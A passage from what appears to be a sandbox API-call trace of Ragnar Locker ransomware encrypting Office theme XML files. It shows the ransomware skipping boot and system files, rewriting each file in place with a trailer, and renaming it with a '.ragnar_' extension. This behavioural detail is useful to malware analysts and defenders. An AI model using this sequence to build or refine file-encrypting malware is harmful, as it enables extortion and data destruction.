[0094.414] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.414] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml")) returned 0x20 [0094.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.415] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3613) returned 1 [0094.415] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.415] GetProcessHeap () returned 0x580000 [0094.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.415] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.416] VirtualAlloc (lpAddress=0x0, dwSize=0xe1d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.417] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe1d, lpOverlapped=0x0) returned 1 [0094.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.417] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1d, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.417] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe1d, lpOverlapped=0x0) returned 1 [0094.417] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.417] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.417] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.417] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.417] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.418] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.418] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.418] GetProcessHeap () returned 0x580000 [0094.418] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.418] CloseHandle (hObject=0x10c) returned 1 [0094.418] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" [0094.418] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.ragnar_FD7BD9FC" [0094.418] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.420] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0094.420] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.420] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Oriel.xml" | out: lpString1="Oriel.xml") returned="Oriel.xml" [0094.420] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml") returned=".xml" [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="autorun.inf") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="boot.ini") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootfont.bin") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootsect.bak") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgr") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgr.efi") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="bootmgfw.efi") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="desktop.ini") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="iconcache.db") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntldr") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.dat") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.dat.log") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="ntuser.ini") returned 1 [0094.420] lstrcmpiW (lpString1="Oriel.xml", lpString2="thumbs.db") returned -1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.420] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml")) returned 0x20 [0094.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.421] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3674) returned 1 [0094.421] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.421] GetProcessHeap () returned 0x580000 [0094.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.421] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.423] VirtualAlloc (lpAddress=0x0, dwSize=0xe5a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.423] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe5a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe5a, lpOverlapped=0x0) returned 1 [0094.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.423] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.423] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe5a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe5a, lpOverlapped=0x0) returned 1 [0094.423] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.423] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.423] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.423] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.424] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.424] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.424] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.424] GetProcessHeap () returned 0x580000 [0094.424] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.424] CloseHandle (hObject=0x10c) returned 1 [0094.424] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" [0094.424] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.ragnar_FD7BD9FC" [0094.424] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.425] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0094.425] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.425] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Origin.xml" | out: lpString1="Origin.xml") returned="Origin.xml" [0094.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml") returned=".xml" [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="autorun.inf") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="boot.ini") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="bootfont.bin") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="bootsect.bak") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgr") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgr.efi") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="bootmgfw.efi") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="desktop.ini") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="iconcache.db") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="ntldr") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.dat") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.dat.log") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="ntuser.ini") returned 1 [0094.425] lstrcmpiW (lpString1="Origin.xml", lpString2="thumbs.db") returned -1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.425] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml")) returned 0x20 [0094.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.426] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3821) returned 1 [0094.426] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.426] GetProcessHeap () returned 0x580000 [0094.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.426] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.428] VirtualAlloc (lpAddress=0x0, dwSize=0xeed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.428] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.428] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.428] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeed, lpOverlapped=0x0) returned 1 [0094.428] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.428] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeed, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.428] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeed, lpOverlapped=0x0) returned 1 [0094.428] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.428] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.428] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xeed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.429] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.429] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.429] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.429] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.429] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.429] GetProcessHeap () returned 0x580000 [0094.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.429] CloseHandle (hObject=0x10c) returned 1 [0094.429] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" [0094.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.ragnar_FD7BD9FC" [0094.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.430] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0094.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.430] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Paper.xml" | out: lpString1="Paper.xml") returned="Paper.xml" [0094.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml") returned=".xml" [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="autorun.inf") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="boot.ini") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="bootfont.bin") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="bootsect.bak") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgr") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgr.efi") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgfw.efi") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="desktop.ini") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="iconcache.db") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="ntldr") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.dat") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.dat.log") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.ini") returned 1 [0094.430] lstrcmpiW (lpString1="Paper.xml", lpString2="thumbs.db") returned -1 [0094.430] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.430] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.431] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.431] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.431] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.431] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.431] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml")) returned 0x20 [0094.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.431] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: 